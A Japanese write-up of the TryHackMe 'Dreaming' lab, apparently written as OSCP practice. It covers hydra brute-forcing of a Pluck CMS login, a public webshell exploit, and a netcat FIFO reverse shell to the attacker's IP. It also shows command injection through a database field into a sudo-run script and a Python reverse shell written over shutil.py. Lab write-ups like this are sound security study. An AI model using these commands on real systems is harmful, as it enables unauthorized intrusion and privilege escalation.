【TryHackMe】 Dreaming Writeup

# はじめに
OSCP合格に向けて着手しているTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「[Dreaming](https://tryhackme.com/r/room/dreaming)」というRoomを攻略しました。
**※扱い次第では法に触れるため、悪用厳禁です。**

# Recover the Kingdom!

### はじめに

ポートスキャンを行います。
```
└─$ nmap -Pn -T4 10.10.223.54   
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-13 21:35 EDT
Nmap scan report for 10.10.223.54
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 25.56 seconds
```

80ポートが空いていたので、gobusterコマンドを実行します。
```
└─$ gobuster dir -u 10.10.223.54 -x html,php,txt,jpeg,png -w ../../usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.223.54
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../../usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,jpeg,png,html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 10918]
/.html                (Status: 403) [Size: 277]
/app                  (Status: 301) [Size: 310] [--> http://10.10.223.54/app/]
```

「/app」を解析したので、アクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/8233ee5b-b721-f02c-d448-f4e25666d2af.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/341490e6-5a3b-2de5-1783-18f712171839.png)

pluck(CMS)のサイトが表示されました。
※CMSだと何か脆弱性を疑いますよね

サイト内を探っていたところ、ログインページを見つけました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/ee953f33-7b21-675d-e5cc-f484de9ae4ca.png)

ユーザ名は「admin」のようなので、hydraを使用して総当たりでパスワードの解析を試みます。

```
└─$  hydra -l admin -P rockyou.txt 10.10.223.54 http-post-form '/app/pluck-4.7.13/login.php:username=admin&password=^PASS^:Password incorrect.'
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-13 22:07:54
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.223.54:80/app/pluck-4.7.13/login.php:username=admin&password=^PASS^:Password incorrect.
[80][http-post-form] host: 10.10.223.54   login: admin   password: 123456
[80][http-post-form] host: 10.10.223.54   login: admin   password: 12345
[80][http-post-form] host: 10.10.223.54   login: admin   password: 123456789
[80][http-post-form] host: 10.10.223.54   login: admin   password: password
[80][http-post-form] host: 10.10.223.54   login: admin   password: iloveyou
[80][http-post-form] host: 10.10.223.54   login: admin   password: rockyou
[80][http-post-form] host: 10.10.223.54   login: admin   password: princess
[80][http-post-form] host: 10.10.223.54   login: admin   password: 1234567
[80][http-post-form] host: 10.10.223.54   login: admin   password: 12345678
[80][http-post-form] host: 10.10.223.54   login: admin   password: abc123
[80][http-post-form] host: 10.10.223.54   login: admin   password: nicole
[80][http-post-form] host: 10.10.223.54   login: admin   password: daniel
[80][http-post-form] host: 10.10.223.54   login: admin   password: babygirl
[80][http-post-form] host: 10.10.223.54   login: admin   password: lovely
[80][http-post-form] host: 10.10.223.54   login: admin   password: monkey
[80][http-post-form] host: 10.10.223.54   login: admin   password: jessica
1 of 1 target successfully completed, 16 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-13 22:07:58
```

候補が多い、、

パスワードは「password」みたいです。他に良さそうな解析方法があれば教えてください。

ではログインしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/f33d277a-f80c-8084-5010-3f09b89101d8.png)

サイト内徘徊してもよく分からず。。
調べてみたところ、このCMS用のエクスプロイトを使うらしい。

今回はこちらの[エクスプロイト](https://github.com/0xAbbarhSF/CVE-2020-29607/blob/main/exploit.py)を使用しました。使い方も記載されてあります。


```
└─$ python3 exploit.py 10.10.223.54 80 password /app/pluck-4.7.13

Authentification was succesfull, uploading webshell

Uploaded Webshell to: http://10.10.223.54:80/app/pluck-4.7.13/files/shell.phar
```
実行後にとあるリンクが表示されたので、アクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/bb57491b-2618-c401-9dc2-960c6b566726.png)
シェルが表示されたサイトへ遷移されました。

## What is the Lucien Flag?
1つ目のタスクは「lucien」ユーザのフラグ探索になります。

遷移されたシェル上でいくつか試していると、「home」ディレクトリ内に今回獲得するフラグが格納されていそうなユーザのフォルダを確認することが出来ます。

ただ現状だとアクセス権限がない。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/29800638-fa82-270d-79a2-791d3dd54c8b.png)

このブラウザ上のシェルだと使い勝手があまりよくないので、ローカルのシェル上で操作を行えるようにします。

ブラウザ上では下記のコマンドを実行し、

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.59.30 1234 >/tmp/f 
```

ローカルのシェルでは、下記のコマンドを実行します。
```
└─$ nc -lvnp 1234               
listening on [any] 1234 ...
connect to [10.8.59.30] from (UNKNOWN) [10.10.223.54] 54868
sh: 0: can't access tty; job control turned off
```

別のマシンでもあったのですが、環境によって現在のディレクトリの位置がわからない場合があるので下記のコマンドを実行しておきます。
```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

調べてもとっかかりがつかめず。
どうやらルートディレクトリのoptフォルダにヒントがあるとか


さっそくoptフォルダを見てみます。中には2つのファイルが格納されていました。
そのうちの1つを見てみます。
```
www-data@dreaming:/opt$ cat test.py
cat test.py
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)
www-data@dreaming:/opt$ 
```
ログインページのリンクやパスワードの情報が記載されているが、どうやら「lucien」ユーザの物っぽい。

「lucien」ユーザでログインしてみます。
```
www-data@dreaming:/opt$ su lucien
su lucien
Password: HeyLucien#@1999!

lucien@dreaming:/opt$ 
```

```
lucien@dreaming:~$ cat lucien_flag.txt
cat lucien_flag.txt
THM{TH3_L1BR4R14N}
```


ログインできたので、1つ目のフラグ獲得になります。

## What is the Death Flag?
続いて2つ目は「death」ユーザのフラグ探索になります。
もちろん「home」ディレクトリの「death」フォルダ内のファイルは見れない。

またもやとっかかりがない。。
どうやら操作履歴が記録された「.bash_history」を見るのが良いらしい。
※別課題でも使えそう

```
lucien@dreaming:~$ cat .bash_history
cat .bash_history
ls
cd /etc/ssh/
clear
nano sshd_config
su root
cd ..
ls
cd ..
cd etc
ls
..
cd ..
cd usr
cd lib
cd python3.8
nano shutil.py 
clear
clear
su root
cd ~~
cd ~
clear
ls
mysql -u lucien -plucien42DBPASSWORD
ls -la
cat .bash_history 
cat .mysql_history 
clear
ls
ls -la
rm .mysql_history 
clear
history
exit
clear
ls
clear
cd /opt
ls
clear
nano test.sh
ls -la
su root
ls
mv test.sh test.py
ls -la
history
nano ~/.bash_history 
su root
clear
mysql -u lucien -p
clear
history
exit
clear
ls
history
cd ~~
cd ~
cat .bash_history 
clear
ls
sudo -l
/usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
clear
mysql -u lucien -p
mysql -u root -p
su root
lucien@dreaming:~$ 
```

ざっと内容を確認すると、DBへのログインや、pythonファイルの実行履歴などが確認できます。

```
lucien@dreaming:/$ sudo -l
sudo -l
Matching Defaults entries for lucien on dreaming:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lucien may run the following commands on dreaming:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
lucien@dreaming:/$ 
```

「lucien」ユーザは「home」ディレクトリ内の「death」フォルダ内にあるpythonファイルを実行できるみたいなので、実際に試してみます。

```
lucien@dreaming:/$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

lucien@dreaming:/$ 
```

人名と、その夢についての文字列が出力されました。

続いて「bash_history」内にあった通り、DBへアクセスしてみます。

```
lucien@dreaming:/$ mysql -u lucien -plucien42DBPASSWORD
mysql -u lucien -plucien42DBPASSWORD
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 
```

ログインできたので、データベースやテーブル情報を見てみます。
```
mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> 
```

```
mysql> use library
use library
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams            |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from dreams;
select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)

mysql> 
```

dreamsテーブルというのを見つけました。
その中身を見てみると、先ほど実行したpythonファイルと同じ文字列が格納されています。

つまり先ほど実行したpythonファイルは、このdreamerカラムとdreamカラムのデータを+で結合して出力する処理がされていると解釈できます。


またUPDATEやINSERT文も実行できるため、何か出来そう。

調べてみたところ、セミコロンを1つの文字列に挟むことで、2つの命令として連続で処理ができるようになるとのこと。

例えば下記の通りに「人名」 + セミコロンを含む「任意な文字列」で実行してみると、、
```
lucien@dreaming:/$ echo test + ;ls
echo test + ;ls
test +
bin   etc             lib    libx32      mnt   root  snap      sys  var
boot  home            lib32  lost+found  opt   run   srv       tmp
dev   kingdom_backup  lib64  media       proc  sbin  swap.img  usr
lucien@dreaming:/$ 
```

「ls」コマンドが実行されていることが分かります。


なのでシェルを特権モードで起動する「bin/bash -p」コマンドを実行するようにテーブル情報を書き換えてみます。

```
mysql> UPDATE dreams set dream = '; /bin/bash -p' WHERE dreamer = 'Alice';
UPDATE dreams set dream = '; /bin/bash -p' WHERE dreamer = 'Alice';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from dreams;
select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | ; /bin/bash -p                     |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
| ...     |...   |
+---------+------------------------------------+
7 rows in set (0.00 sec)

mysql> quit
quit
Bye
lucien@dreaming:/$ 


lucien@dreaming:/$ 
lucien@dreaming:/$ sudo -u death /usr/bin/python3 /home/death/getDreams.py            
sudo -u death /usr/bin/python3 /home/death/getDreams.py
death@dreaming:/$ 
```

「death」ユーザーになりました。
ただ、どのコマンドを使っても何も見れない、、

ここでは、権限のある「death」フォルダ内のpythonファイルの権限を変更するのが正解らしい。
※この時点でフラグのファイル名は判明していないが、フラグのテキストファイルも変えられたのかな？

```
death@dreaming:/$ chmod 777 /home/death/getDreams.py
chmod 777 /home/death/getDreams.py
```

「lucien」ユーザに戻って、先ほど権限を変えたファイルを見てみます。
```
lucien@dreaming:/home/death$ cat getDreams.py
cat getDreams.py
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "!mementoMORI666!"
DB_NAME = "library"

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()
lucien@dreaming:/home/death$ 
```

DB用のログイン情報があるが、どうやらこれをシェル上で使用して「death」ユーザにログインするみたい。。

```
death@dreaming:~$ ls
ls
death_flag.txt  getDreams.py
death@dreaming:~$ cat death_flag.txt
cat death_flag.txt
THM{1M_TH3R3_4_TH3M}
death@dreaming:~$ 
```
2つ目のフラグを獲得です。

## What is the Morpheus Flag?
最後のタスクになります。

「home」ディレクトリの「Morpheus」を確認してみると、いくつかのファイルを確認することが出来ます。

```
death@dreaming:/home/morpheus$ ls
ls
kingdom  morpheus_flag.txt  restore.py

death@dreaming:/home/morpheus$ cat kingdom
cat kingdom
We saved the kingdom!
death@dreaming:/home/morpheus$ cat morpheus_flag.txt
cat morpheus_flag.txt
cat: morpheus_flag.txt: Permission denied
death@dreaming:/home/morpheus$ cat restore.py
cat restore.py
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")
```

pythonファイルでは、定期的にバックアップ処理を行っているっぽい。

このpythonファイルで使用している「shutil」モジュールの権限を見てみると、

```
death@dreaming:/$ find -name "shutil.py" 2>/dev/null
find -name "shutil.py" 2>/dev/null
./usr/lib/python3.8/shutil.py
./snap/core20/1974/usr/lib/python3.8/shutil.py
./snap/core20/2015/usr/lib/python3.8/shutil.py
death@dreaming:/$ 
```

```
death@dreaming:/usr/lib/python3.8$ ls -la shutil.py
ls -la shutil.py
-rw-rw-r-- 1 root death 51474 Aug  7  2023 shutil.py
```

書き換えが出来そう。

pythonで実行可能なリバースシェルに書き換えます。[GTFOBins](https://gtfobins.github.io/gtfobins/python/)

vimコマンドでは画面が崩れうまく編集できず、nanoコマンドはそもそも使用できなかったので、echoコマンドで上書きを行いました。

```
death@dreaming:/usr/lib/python3.8$ echo "import sys,socket,os,pty;s=socket.socket()
s.connect(('10.8.59.30',1111))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
<8$ echo "import sys,socket,os,pty;s=socket.socket()
> s.connect(('10.8.59.30',1111))
> [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
> " > shutil.py
pty.spawn(\"/bin/sh\")" > shutil.py
```

もう1つのシェル上では、待受けておきます。
```
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.8.59.30] from (UNKNOWN) [10.10.223.54] 55170
$ 
```

最後のフラグ獲得です。
```
$ ls
kingdom  morpheus_flag.txt  restore.py
$ whoami
whoami
morpheus
$ cat morpheus_flag.txt 
cat morpheus_flag.txt 
THM{DR34MS_5H4P3_TH3_W0RLD}
```

# さいごに
以上となります。

過去に対応したマシンの経験による固定概念があると説きづらいようではありますが、改めて視野を広くする重要性について学べたマシンでした。